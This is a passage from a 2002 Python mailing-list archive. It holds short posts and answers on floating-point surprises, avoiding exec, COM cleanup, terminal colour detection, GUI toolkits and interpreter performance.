works as intended. With articles "celebrating" cool hacks, and >>> the like, it's clear that some people prioritise arguably less >>> important things (in the context of successful real-world systems) >>> than others. >> >>Yes. For example, the misconception that software must be correct to >>be useful --- or at least, that correctness is important to real-world >>success with software --- seems to be quite widespread in some >>circles. > >For something like a 3D game or a spreadsheet, our industry has done a >fabulous job of convincing the general public that half-assed software is >the norm, and the best they can expect. But for elevator control software >or bullet train software, correctness is VITALLY important to real-world >success. By "correctness" you presumably mean it is 100% guaranteed to work 100% correctly 100% of the time. But that's an impossible standard, and is not applied to everything else, e.g. train hardware or elevator hardware. If trains and elevators were over-engineered to the extent that there was no conceivable possibility of them going wrong, they would be too cumbersome and expensive to be worth using. -- <"><"><"> Philip Hunt <"><"><"> "I would guess that he really believes whatever is politically advantageous for him to believe." -- Alison Brooks, referring to Michael Portillo, on soc.history.what-if From jajvirta at cc.helsinki.fi Thu May 30 16:32:28 2002 From: jajvirta at cc.helsinki.fi (Jarno J Virtanen) Date: 30 May 2002 20:32:28 GMT Subject: Floating point issues References: Message-ID: Thu, 30 May 2002 14:22:47 GMT Michael Hudson wrote: > Read this: > > http://www.python.org/doc/2.2.1/tut/node14.html > > (the fact that I can type this URL from memory should be some > indication that you could have answered your query yourself with a > little effort). I don't know whether people read the Python Tutorial at all (I hope and believe they do), but I think this floating point issue should be mentioned in the text itself as an example with a reference to the appendix for more information. My gut feeling is that typically one first reads and tries out the basic stuff from for example the tutorial and the 0.10000000000000001 stuff comes as a total surprise, which initiates the common posts on the subject. So in my opinion at least the Python Tutorial could come straight on this right from beginning. (I did provide a patch for that in the sf tracker (I hope I did it the right way etc.), but there hasn't been any comments on it, so I assume it's either stupid idea or no one hasn't had time to become aware it's a stupid idea .) From systhree at nospam.mailandnews.com Sat May 4 09:28:28 2002 From: systhree at nospam.mailandnews.com (Dan Polak) Date: Sat, 4 May 2002 15:28:28 +0200 Subject: high volume/speed gethostbyaddr how? References: Message-ID: In article , phd at phd.pp.ru says... > On Fri, May 03, 2002 at 06:17:26PM +0200, Dan Polak wrote: > > Gethostbyaddr blocks by default, this means that there is an appreciable > > delay before it returns. > > If you need to lookup a fair number of hostnames gethostbyaddr is much > > too slow. > > Using select or the asyncore library might be the way to do it, but I > > don't really understand how to make that work. > > What is a good way to retrieve the names for a 100 hosts within a few > > seconds? > > GNU adns asynchronous DNS: > http://www.gnu.org/software/adns/adns.html > http://dustman.net/andy/python/adns-python > > Oleg. > Good solution too but I didn't want the extra library so I went with threads. I didn't know about asynchronous DNS, interesting. Thank you! Dan From dsavitsk at e-coli.net Thu May 2 13:58:24 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Thu, 02 May 2002 17:58:24 GMT Subject: Disconnecting from COM server ? References: <3CD12F0B.8020408@molgen.mpg.de> Message-ID: <47fA8.10738$d7.3469559@newssrv26.news.prodigy.com> >>> x = win32com.client.Dispatch('some.server') >>> del x if that crashes, i think the error is on the __del__ end of the server. you might try >>> try: ... del x ... except: ... print 'the server crashed.' -d "Axel Kowald" wrote in message news:3CD12F0B.8020408 at molgen.mpg.de... > Hello, > > I'm using Activestates Python (2.1 & 2.2) to connect to a COM server (win32com.client.Dispatch()). The problem is that python crashes when the script finally terminates ("The instruction at ... referenced memory at .... The memory could not be read"). > I guess before exiting I should properly disconnect from the COM server, but what is the proper way ? > > Many thanks, > > Axel > > From mcherm at destiny.com Thu May 23 10:01:20 2002 From: mcherm at destiny.com (Michael Chermside) Date: Thu, 23 May 2002 10:01:20 -0400 Subject: How Are Unlimited Precision Integers Accomplished? Message-ID: <3CECF630.8030709@destiny.com> Uncle_Alias writes: > This [unlimited precision integers] is amazing to me that it can > calculate integers to unlimited precision. How is this done? Martin v. Loewis responds: > It uses more memory for larger numbers. ... > Of course, you can't use processor instructions for operations on > these numbers (directly), so Python implements its own +, -, *, /, > etc. For those of whose interest was piqued by this question, can someone elaborate with a simple summary of the data structure that is used, the algorithms for performing the operations, and what senarios these are optimized for? -- Michael Chermside From vlindberg at verio.net Fri May 31 14:00:06 2002 From: vlindberg at verio.net (VanL) Date: Fri, 31 May 2002 12:00:06 -0600 Subject: Python IDE References: Message-ID: <3CF7BA26.2050901@verio.net> FWIW, Scite (http://scintilla.org/) has been all I wanted in an python editor/ide for a while. Well, maybe not *all* I wanted, but its close. Free, code folding, syntax highlighting, one click (or one hotkey) execution in second pane, cross-platform, lightweight (fits on a floppy). What is missing: integrated debugger (you must use pdb for debugging if you want to do it within the editor/ide environment) and an integated python console. From mwh at python.net Wed May 22 05:55:56 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 22 May 2002 09:55:56 GMT Subject: 2.2.1 build fails on linux References: Message-ID: "Whitney Williams" writes: > I cannot build a working 2.2.1 installation, and wondered if anyone else had > encountered this problem (and found a workaround)... > > whitney at freaky:~/src/Python-2.2.1$ gcc -v > Reading specs from /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.0.4/specs > Configured with: > ../gcc-3.0.4/configure --with--gnu-as --with-gnu-ld --enable-threads > Thread model: posix > gcc version 3.0.4 > > creating build/temp.linux-i686-2.2 > gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -fPIC -I. -I/home/whitney/src/ > Python-2.2.1/./Include -I/usr/local/include -IInclude/ -c > /home/whitney/src/Python-2.2.1/Modules/structmodule.c -o > build/temp.linux-i686-2.2/structmodule.o > creating build/lib.linux-i686-2.2 > gcc -shared build/temp.linux-i686-2.2/structmodule.o -L/usr/local/lib -o > build/lib.linux-i686-2.2/struct.so > WARNING: removing "struct" since importing it failed What you probably need to do is execute the commands by hand that build the struct module and try importing it to find the error (this is easier in cvs python as instead of removing the broken module it renames it to, in this case, struct_failed.so). You'll probably find that your gcc installation is broken, at a guess... maybe you're compiling with a gcc 3.0 setup, but the dynamic linker expects 2.95 or something. > I see this has been happening with somwe Solaris installations. That's usually a bust openssl installation. > I have always been to successfully build python in the past. With gcc 3.0.4? Cheers, M. -- I'm a keen cyclist and I stop at red lights. Those who don't need hitting with a great big slapping machine. -- Colin Davidson, cam.misc From sabine at textraeume.de Sat May 18 14:14:25 2002 From: sabine at textraeume.de (Sabine Richter) Date: Sat, 18 May 2002 20:14:25 +0200 Subject: Newbie: print-to-file-Syntax Message-ID: <3CE69A01.C91760AE@textraeume.de> Hello, I looked the syntax up in the python doc, but nevertheless, I don't understand it. What's wrong? PROT=open("c:\\existing_dir\\prot.txt",'w') PROT.write("Written String") print >> PROT "Printed String" print PROT "Printed String" PROT.close() --> Written String has been written. But for the print-Statements I get a syntax error message And a second question: Is it possible to write: PROT=None print... print-to-file-syntax Later, I want to print to file, but now I want to print to STDOUT. The doc says: If the first expression evaluates to None, then sys.stdout is used as the file for output. Thanks in advance Sabine From cliechti at gmx.net Thu May 30 17:17:56 2002 From: cliechti at gmx.net (Chris Liechti) Date: 30 May 2002 23:17:56 +0200 Subject: Avoiding `exec', how to? References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) wrote in news:mailman.1022786751.23084.python-list at python.org: > I do not like using `exec', and wonder if there is a way to avoid it in: > > # Fabriquer une variable globale pour chaque ?l?ment de DEFS. > for name, value in defs.__dict__.items(): > if name[0] != '_': > # J'aimerais bien ?viter `exec'... > exec '%s = %s' % (name, repr(value)) > del defs, name, value > > The goal here is to initialise one global variable per item in DEFS, > preserving the item name and value in each. >>> dir() ['__builtins__', '__doc__', '__main__', '__name__', 'pywin'] >>> import __main__ >>> d = {'a':1, 'b':2} >>> __main__.__dict__.update(d) >>> dir() ['__builtins__', '__doc__', '__main__', '__name__', 'a', 'b', 'd', 'pywin'] >>> a 1 :-)) there isn't truly something as "global" in python. global is always the namespace of the current module. if it's not your main module you must get the __dict__ of the current one. globals() gives you this, but you should not modify it... this seems to work for a module, __main__ or any other: moddict = __import__(__name__).__dict__ moddict.update( {'a':1, 'b':2} ) (puh, so many underlines ;-) chris -- Chris From emile at fenx.com Wed May 8 08:31:03 2002 From: emile at fenx.com (Emile van Sebille) Date: Wed, 08 May 2002 12:31:03 GMT Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> <7x1ycnw6iz.fsf@ruckus.brouhaha.com> Message-ID: Oleg Broytmann > Alas, in these days of software rush, 2 years are more than many people > can tolerate; for them, 2 years-old software has already dead and gone. Yesterday while on-site implementing a new set of changes, I stumbled across and modified a program link I'd originally written 22 years ago. ;-) -- Emile van Sebille emile at fenx.com --------- From deckerben at freenet.de Sun May 5 21:22:49 2002 From: deckerben at freenet.de (deckerben) Date: Mon, 6 May 2002 03:22:49 +0200 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD57FA7.2050905@earthlink.net> Message-ID: <3cd5d6b0$0$4085$9b622d9e@news.freenet.de> > Cheers. I'd be glad to host either your programs or a mini-website if > you would like, on my Python oriented web site at > http://www.awaretek.com/plf.html . > > I already am keeping company with Hans Nowak at that site ;-))). > > Just drop me an email if you are interested. Hmmmm... It might not be a bad idea for me to put up a web page again. [discussion redir to private mail] From hst at empolis.co.uk Thu May 9 13:24:07 2002 From: hst at empolis.co.uk (Harvey Thomas) Date: Thu, 9 May 2002 18:24:07 +0100 Subject: change a string conditional Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BA1@hendrix.empolisuk.com> > Mark wrote > > Hi > > > > I need to a piece of python code that will take a string > > which may or may > > not begin with www and change it to lists. > > > > eg. www.domain.com becomes lists.domain.com > > but if domain1.com (no www) the it still becomes lists.domain1.com > > > > an example of a pattern match will be enough.(I do a bit of > > perl but never > > done any python) > > > > mark > > > > Assuming that the string astring is not empty (if it is then > newstring will be empty), then > > newstring = re.sub('(www\.)?(.+)', lambda x:'www.%s' % > x.group(2), astring) > > should do the trick > > Sorry, the example should of course be: newstring = re.sub('(www\.)?(.+)', lambda x:'lists.%s' % x.group(2), astring) _____________________________________________________________________ This message has been checked for all known viruses by the MessageLabs Virus Scanning Service. From gerhard at bigfoot.de Sun May 12 19:16:22 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Mon, 13 May 2002 01:16:22 +0200 Subject: Zaurus and Python, a good combination In-Reply-To: <3CDEE799.5030306@earthlink.net> References: <3CDEE799.5030306@earthlink.net> Message-ID: <20020512231621.GA9639@lilith.my-fqdn.de> * Ron Stephens [2002-05-12 22:07 +0000]: > Does anyone know if the Compaq IPAQ and PALM devices have command line > interfaces? No keyboard, but the iPAQ has almost the same hardware as the Zaurus, and I'm running opie on it, which is even binary compatible to the Zaurus' Qtopia environment. > [...] I am trying to learn PyQt and Black Adder to make GUI programs > for the Zaurus (although I don't know if or how hard it would be to > port PyQt to the machine?) I beg your pardon? http://www.riverbankcomputing.co.uk/pyqt/download.php Install the packages and off you go. It _is_ fairly hard to port PyQt to Qt embedded. I and some others tried before. But furtunately, the PyQt maintainer has done this himself now :-)) > [...] I don't know if PyQt programs can be turned into ipkg files, > that are automatically installable on the Zaurus, but I suspect with > work they might be. Sure that's possible, an example is available from the PyQt maintainer, IIRC. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From roy at panix.com Wed May 1 08:08:03 2002 From: roy at panix.com (Roy Smith) Date: Wed, 01 May 2002 08:08:03 -0400 Subject: Python vs. Perl, which is better to learn? References: <9UHz8.23$s55.5@newsread2.prod.itd.earthlink.net> Message-ID: "Billy Ng" wrote: > I am also new to python. I think python will be my replacement of perl. > However, if I need to do very heavy regular expression, I still prefer perl. > I just don't feel comfortable with the python's re syntax. Granted, it's a little more verbose to say: m = re.match (...) if m: blah = m.group (1) then to do if (m/.../) { blah = $1; } but not much. On the other hand, I've been burned several times by failing to keep track of when $1 goes out of scope (or maybe "automagically gets redefined" is a better way of putting it?). If you've got to save all the $'s in new variables immediately after the regex, the perl version can easily get more verbose than python, since everything is tucked away in the match object, and stays there for as long as you need it. From wilk at flibuste.net Sun May 12 04:12:14 2002 From: wilk at flibuste.net (William Dode) Date: Sun, 12 May 2002 10:12:14 +0200 Subject: Which GUI Library to Use References: Message-ID: <20020512101214.30b6ad53.wilk@flibuste.net> Hi, After reading this thread i was going to try fxPy (i'm using wxPython now). And it seems to be very interesting, just very rarely used and seems to depends on only one developper (17 developers for wxwindows, 4 admins, like i read on sourceforge) fox doesn't depend on any lybrary (wxPython depends on gtk), and is fast and light. It seems to have a table control, even if it's not use in the fxpy demo. Somebody can write something more on the difference between theses two gui ? bye Le Fri, 10 May 2002 15:56:31 -0700 "David LeBlanc" ?crivait: > fxPy last updated 4/1/2002 > > David LeBlanc > Seattle, WA USA > > > -----Original Message----- > > From: python-list-admin at python.org > > [mailto:python-list-admin at python.org]On Behalf Of Gustavo Cordova > > Sent: Friday, May 10, 2002 14:51 > > To: David LeBlanc > > Cc: Python List > > Subject: RE: Which GUI Library to Use > > > > > > > > > > From http://www.fox-toolkit.org/news.html: > > > > > > April 5, 2002 - New drop: FOX 1.1.8 > > > > > > That's pretty new :) > > > > > > David LeBlanc > > > Seattle, WA USA > > > > > > > Far as I know Fox is no longer being maintained... > > > > > > > > Did someone pick that up and start developing it again? > > > > > > > > Bob > > > > > > > Actually, what's not being maintained are the Python bindings > > for fox: pyfx??? Something like that. > > > > As for fox, it's getting better and better. Has a wierd look, > > but being portable everywhere is cool. > > > > -gus > > > > > > -- > > http://mail.python.org/mailman/listinfo/python-list > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From debl2nonospammyWhammy at bellatlantic.net Thu May 30 20:48:57 2002 From: debl2nonospammyWhammy at bellatlantic.net (David Lees) Date: Fri, 31 May 2002 00:48:57 GMT Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: Message-ID: <3CF6C8BD.1B402746@bellatlantic.net> David, The link that was referenced gives a pretty good explanation of what is going on. I would guess that the output routine for printing floating point was changed between Python 1.5.2 and Python 2.1. If you are bothered by the representational rounding for 0.1, you can always truncate the answer to fewer decimal places. You are fooling yourself if you think that perl and python 1.5.2 give the 'right' answer, but python 2.1 somehow does not. You confuse truncated output with internal representation. For example, if you subtract one from your perl example, you do NOT get zero: perl -e '$sum = 0;foreach(1..10){$sum += 0.1};$sum -= 1.0; print "$sum\n";' -1.11022302462516e-16 In fact, you are likely to get in trouble when one of your 'correct' answers is used in an arithmetic comparision and you get an unexpected result because you thought you were comparing integers, but underneath a floating point number is compared with an integer. Your distinction between 'correct' and 'right' answers escapes me. You seem to be implying that something is wrong with C and the current Python implementation, but this is not the case. They likely all use the same floating point libraries and hardware an have the same answers inside. David Lees "David K. Trudgett" wrote: > > On Thursday 2002-05-30 at 14:22:47 +0000, Michael Hudson wrote: > > > Read this: > > > > http://www.python.org/doc/2.2.1/tut/node14.html > > > > (the fact that I can type this URL from memory should be some > > indication that you could have answered your query yourself with a > > little effort). > > Obviously, something has changed since Python 1.5.2: > > Python 1.5.2 > >>> 0.1 > 0.1 > >>> 3.1*2 > 6.2 > >>> sum = 0.0 > >>> for i in range(10): > ... sum = sum + 0.1 > ... > >>> sum > 1.0 > > Perl: > > bash$ perl -e 'print 3.1*2 . "\n"' > 6.2 > > bash$ perl -e '$sum = 0;foreach(1..10){$sum += 0.1}; print "$sum\n";' > 1 > > Python 2.1.3 > > >>> 0.1 > 0.10000000000000001 > >>> > > >>> 3.1*2 > 6.2000000000000002 > >>> > > >>> sum = 0.0 > >>> for i in range(10): > ... sum = sum + 0.1 > ... > >>> sum > 0.99999999999999989 > >>> > > Personally, I expect a scripting language to give me the right answer, > not the "correct" answer. For "correctness" I can use C. > > I suppose arguments could be made on both sides... > > David Trudgett From pereira at cis.upenn.edu Fri May 31 20:30:59 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Fri, 31 May 2002 20:30:59 -0400 Subject: Python/Scripting language performance References: <3CF65A62.2070705@bioeng.ucsd.edu> Message-ID: On 5/30/02 12:59 PM, in article 3CF65A62.2070705 at bioeng.ucsd.edu, "Curtis Jensen" wrote: > I'm looking for an explicit explination of why Scripting languages, > specificaly Python, are slow compared to compiled languages. I've > searched the newsgroup and bit on the web. I'm looking for a more > indepth description other than because it's dynamic, or it's object > oriented, or it's interpreted. Specificaly why do those aspects make it > slower? The main reason, which is independent of whether is interpreted, byte-code compiled, or compiled into machine language, is that in those languages the decision of what piece of machine code implements a particular language operation has to be delayed until the operands are known. For example, in C or Java, for the fragment int x, y, z; ... z = x + y; the compiler can figure out that "+" is to be implemented by the target machine's integer addition instruction, so there is no decision to make at runtime. In Python, the expression z = x + y may evaluate as integer addition, floating point addition, arbitrary-precision integer addition, sequence concatenation, or even a method call on the object bound to x depending on the types of the values that are bound to x and y when the expression is evaluated. Therefore, Python must execute machine code to examine the types of the arguments of + and dispatch to the appropriate method, which takes far more time than just computing the integer addition if that is what is required by the types of x and y. Notice that this does not depend on whether the language is interpreted or compiled: in a hypothetical compiled Python, a lot of machine instructions would be included to do those tests (which would make the compiled code very bulky, a good reason for not compiling Python to machine language in the first place). In an interpreted or byte-code compiled, the interpreter or the implementations of the byte-code virtual instructions take care of those tests. I gave the x + y example, but similar issues arise in mapping any symbol to a concrete machine implementation, for instance, in figuring out what "f" means in x.f(y) because mapping symbols to methods requires looking up the current value of the slot "x" in the method dictionary for the current object bound to x. In Java, say, the mapping is somewhat more direct (not quite immediate because of virtual methods, though). Similar comments apply to other languages with late binding of code fragments to operator names, such as Perl or Scheme. -- F -- F From tdelaney at avaya.com Wed May 29 19:09:39 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 09:09:39 +1000 Subject: 'for every' and 'for any' Message-ID: > From: Oren Tirosh [mailto:oren-py-l at hishome.net] > > I don't have a personal utility library. It's on purpose. I don't have > personalized key bindings. I try to avoid customization. > Customization is > a big part of what makes one programmer's code difficult to > maintain by > another programmer, what makes on programmers's workstation > unusable by > another and makes combining code from several sources difficult. What? You mean you write everything from scratch every time? Guess you don't use any third-party libraries either. Oh - and I guess you don't use modules - everything must be in a single file. Oh - you do? Where are your modules stored? Wow - looks like a personal library to me ... Tim Delaney From fperez528 at yahoo.com Sun May 12 14:46:18 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 12 May 2002 12:46:18 -0600 Subject: Iterating over the cells of an array? References: Message-ID: Alex Martelli wrote: > Fernando P?rez wrote: > ... >> ravel is I believe a copy operation, much more expensive than a call to > > Chacking isn't all that expensive, is it? > >>>> x=Numeric.array([range(n,n+4) for n in range(3)]) >>>> x > array([[0, 1, 2, 3], > [1, 2, 3, 4], > [2, 3, 4, 5]]) >>>> f=Numeric.ravel(x) >>>> f > array([0, 1, 2, 3, 1, 2, 3, 4, 2, 3, 4, 5]) >>>> x[1,1]=111 >>>> x > array([[ 0, 1, 2, 3], > [ 1, 111, 3, 4], > [ 2, 3, 4, 5]]) >>>> f > array([ 0, 1, 2, 3, 1, 111, 3, 4, 2, 3, 4, 5]) Thanks! I guess I'd been putting an unnecessary extra if in all my code up to this point. It looks like ravel does 'the right thing': .flat if possible, and if not it returns a contiguous copy. Cheers, f From mertz at gnosis.cx Fri May 31 13:01:37 2002 From: mertz at gnosis.cx (Lulu of the Lotus-Eaters) Date: Fri, 31 May 2002 13:01:37 -0400 Subject: backward/forward compatibility in PYTHON? References: Message-ID: holger krekel wrote previously: |- if you know you are using e.g. python2.2 features you might | want to code a one-line assertion like | | asssert(sys.version_info[:2]>=(2,2)) >>> import sys >>> assert(sys.version_info[:2]>=(2,2)) Traceback (innermost last): File "", line 1, in ? AttributeError: version_info Of course, it *does* work in Python 2.2 :-). -- mertz@ _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i gnosis _/_/ Postmodern Enterprises _/_/ s r .cx _/_/ MAKERS OF CHAOS.... _/_/ i u _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/ g s From vvainio at tp.spt.fi Mon May 6 07:24:20 2002 From: vvainio at tp.spt.fi (Ville Vainio) Date: 6 May 2002 04:24:20 -0700 Subject: making python scripts backwards compatible References: <13285ea2.0205041128.51eda313@posting.google.com> Message-ID: joost_jacob at hotmail.com (J.Jacob) wrote in message news:<13285ea2.0205041128.51eda313 at posting.google.com>... > > At least until Red Hat upgrades their @#$%^&! default python > installation on all those computers that are going to run > their OS. Every brand new computer today that is having I usually put '#!/usr/bin/env python2' on the start of the scripts - and manually create the 'python2' symlink on other platforms the script is supposed to be run on (and figure out something else for win32). It seems to be reasonable, assuming that python2.x won't break compatibility with previous 2.* versions. Modules are not that much a problem - the python that installs a module is the one that will use it. Let's just hope Red Hat fixes their python scripts for 8.x versions so that they can upgrade the default python more frequently. Not that there is something wrong with the present state - all the pythons in 2.x series are quite usable, but 1.5.2 feels quite awkward these days (no +=, list comprehension). Perhaps OSen that require a specific version of python could use an internal 'syspython' alias or something in that vein, allowing us to use 'python' to point wherever we want? -- Ville From shalehperry at attbi.com Sat May 25 12:53:54 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 25 May 2002 09:53:54 -0700 (PDT) Subject: Off Topic, But List Related -- Tired of Getting Spammed Via In-Reply-To: Message-ID: >: >: Most likely they are eating your address from either a) subscribing to eat >: addresses, b) web crawling the online archive or c) the usenet postings. > > So far so good. Nothing new there. > >: public lists lead to spam. You get used to it or you try to >: control it coming >: in. Changing this list won't help. > > "Get used to it"?!?!? You're kidding... > no, I am not. I get over 600 mails a day, the ten or so that are spam are meaningless. My mail gets filtered by mailing list and a few other criterion so the spam lands in my inbox and is immediately recognizable. I just highlight it a few at a time and *poof* gone. Just like i do the paper spam that gets mailed to me every day. > I beg to differ. Perhaps you didn't read about Shibboleth. Clear text > addresses do not appear anywhere in the messages unless the (l)user writes > it in the message body. > as Oleg points out this only reduces the chances and does nothing to stop people who subscribe to reap addresses. The more you try to stop spammers the smarter they get. From jblazi at hotmail.com Thu May 16 17:04:57 2002 From: jblazi at hotmail.com (jb) Date: Thu, 16 May 2002 23:04:57 +0200 Subject: Leading zeroes problem Message-ID: <3ce41ce2_1@goliath2.newsgroups.com> How do I get '00.0' from 0.0. I can say '%03d' % 0 but with floating point numbers this does not work. -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From geoff at gerrietts.net Mon May 20 20:45:10 2002 From: geoff at gerrietts.net (Geoff Gerrietts) Date: Mon, 20 May 2002 17:45:10 -0700 Subject: ANSI colored output: How to determine how python was called? In-Reply-To: References: Message-ID: <20020521004510.GC1968@isis.gerrietts.net> Quoting Pearu Peterson (pearu at cens.ioc.ee): > > So, my question is: > > Are there alternative (hopefully better) ways to decide whether the > output "device" of python stdout supports ANSI colored text or not? The way I've done this is something of a hack, but it's been a hack that has worked for me. My understanding is that it's fairly portable to Unix systems, but it doesn't port at all to non-unix systems, and I can't vouch personally for how well it ports. It works well for me under Linux. The solution (if you can call it that, "ugly hack" might be more apt) is to use the tput utility and let the terminal handling libraries figure this stuff out for me. I liked this solution better than going with curses. Here's the test program I wrote when figuring all this crap out: import os # 0 black ; 1 red ; 2 green ; 3 yellow ; 4 blue ; 5 magenta ; 6 cyan ; 7 white NUMCOL = os.popen("tput colors 2>/dev/null", "r").read() SAVE_C = os.popen("tput sc 2>/dev/null", "r").read() RESETC = os.popen("tput rc 2>/dev/null", "r").read() YEL_FG = os.popen("tput setaf 3 2>/dev/null", "r").read() BLK_BG = os.popen("tput setb 0 2>/dev/null", "r").read() NORMAL = os.popen("tput sgr0 2>/dev/null", "r").read() BOLD = os.popen("tput bold 2>/dev/null", "r").read() print NUMCOL print BLK_BG, YEL_FG, "wassup", BOLD, "hoser", NORMAL If I'm remembering right, NUMCOL is set to 2 on a terminal that only supports monochrome. Discussion on this topic is plentiful across the net, but really solid sources are hard to find. I wish I had the URLs for you, but I can tell you that the best sources I've found have been in mailing list threads where people are trying to get colour into their highly customized prompt strings. Sad, but true: in Linux as in Windows, the dominant force driving technological discovery is making the desktop "look cool". :) Best of luck, --G. -- Geoff Gerrietts "By doing just a little every day, I can gradually let the task completely overwhelm me." --Ashleigh Brilliant From josef at jlang.net Tue May 14 14:51:24 2002 From: josef at jlang.net (jlang) Date: 14 May 2002 11:51:24 -0700 Subject: medusa, http_proxy.py -> error 10053 SW caused connection abort Message-ID: Hi all! I try to do a proxy-projekt using medusa 0.5.2 (the one, maintained by Kuchling). I used the source from http_proxy.py from working_directory in the former version. Added some fancy DB-connection and user/url-validation, which results in the handler to act as a proxy to the "real internet", or to some rerouting to the local medusa server listening on 127.0.0.1 on the same machine. When traffic on the proxy increases, it tends to get 10053 socket error (SW caused connection abort). It looks like a timing problem when a bunch of follow-up-hits for the images within certain pages occur. It looks like he then sometimes looses the socket, the producer belongs to. Anybody experienced this before? I am still in my due dilligence. Can anybody hint me in some direction? (Oh. My stats: sw-devel since 5 yrs. Python: 1.5 weeks (since i started playing around with this proxy-thing), fiddeling around with http-headers and socket programming: 1.5 days (since i started playing around with this 10053 and 10054 messages) -> So i obviously got a lot of homework to do. Any help on where to START DOING HOMEWORT would really be appreciated. Thank's in advance. Josef. From stephen at xemacs.org Sat May 11 03:29:12 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 11 May 2002 16:29:12 +0900 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Huaiyu" == Huaiyu Zhu writes: Huaiyu> Martin v. Loewis wrote: >> For the Unicode type, nothing would change - Stephen did not >> propose to change the Unicode type. >> Instead, he proposed that non-ASCII identifiers are represented >> using UTF-8 encoded byte strings (instead of being represented >> as Unicode objects); in that case, and for those identifiers, >> len() would return the number of UTF-8 bytes. Huaiyu> But would that be different from the number of characters? No, for all backward-compatible (== ASCII-only identifiers) code. Yes, for code actually using the proposed extension to non-ASCII identifiers. Huaiyu> My confusion comes from his assertion that Python itself Huaiyu> does not need to care whether it's raw string or unicode. My assertion is that we can choose either, and Python itself will work fine, not that Python itself doesn't need to care. Furthermore, if we choose UTF-8 as the internal encoding for non-ASCII identifiers, Python itself doesn't need to be changed at all, except for the code that tests whether an identifier is legal. What would care is introspective code. Examples: (1) Code that constructs a distribution of lengths of identifiers known to the interpreter would be biased toward long identifiers, since in UTF-8 #octets >= #characters. (2) Code that uses identifiers in eval constructs would need to do some horrible thing like exec "print x + y".decode('iso-8859-1').encode('utf-8') Note that in this all-ASCII example it's redundant, but would work. Also the PEP 263 mechanism could be extended to give the program an "execution locale" and automatically do that conversion. (Horrible, but in the spirit of that PEP.) Huaiyu> Is there any need for the interpreter to split an Huaiyu> identifier into sequence of characters? If the answer is Huaiyu> no, then I guess my question is moot. There's no need that I know of for the interpreter to do so. However (one of) Martin's points is that there are (very useful!) tools that do, and these would either be "broken by the extension" or "merely unreliable" for code that uses the non-ASCII identifier extension, depending on your point of view. Obviously I prefer the latter interpretation. I suggest that projects that require reliable operation of introspective tools hire someone like the martellibot to do coding standard enforcement. But the "broken" interpretation is also reasonable, and I assume that is the one that MvL holds. Huaiyu> My question was about what would be the case under the Huaiyu> proposals. But I guess I'm way out of my domain here. The basic fact is that Unicode support for strings is already decided. I disagree with some implementation decisions (eg, the idea of prepending ZERO-WIDTH NO-BREAK SPACE to strings intended to be exported in UTF-16 encoding is just insane IMO, code must be written print list_of_strings[0] for s in list_of_strings[1:]: print s[2:] Yuck!) But that's just something I can easily work around by defining a codec to my liking---in fact the ease with which I can do this shows the overall strength of the scheme adopted. It is the interface of this well-ordered pythonic environment to the disorderly world of natural language that is under discussion. PEP 263 provides standard support for people who wish to embed localized (ie, non-ASCII) literal strings (both ordinary and Unicode) and comments in their source files. Note that source code comes from "outside of" Python; Python has no control over, nor even a way to know, the encoding used. Currently use of localized literal ordinary strings is possible, and some projects depend on it, because of the specific Python implementation. PEP 263 standardizes the situation in a way backward compatible to these (very natural) "abuses" of the implementation, and mandates its extension to literal Unicode strings. My proposal goes farther and allows localized identifiers. AFAIK Erno's use is just a curio; Alex's arguments for use of English if at all possible, and certainly ASCII, in identifiers are strong and natural. Even Japanese programmers rarely break this rule. So AFAIK there is no body of code out there to be backward compatible with. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From sholden at holdenweb.com Fri May 31 05:29:11 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 05:29:11 -0400 Subject: Avoiding `exec', how to? [and why usie it in the first place?] References: Message-ID: "Fran?ois Pinard" wrote ... > Hi, my fellow snakes :-). > > I do not like using `exec', and wonder if there is a way to avoid it in: > > > # Fabriquer une variable globale pour chaque ?l?ment de DEFS. > for name, value in defs.__dict__.items(): > if name[0] != '_': > # J'aimerais bien ?viter `exec'... > exec '%s = %s' % (name, repr(value)) > del defs, name, value > > > The goal here is to initialise one global variable per item in DEFS, > preserving the item name and value in each. > I was 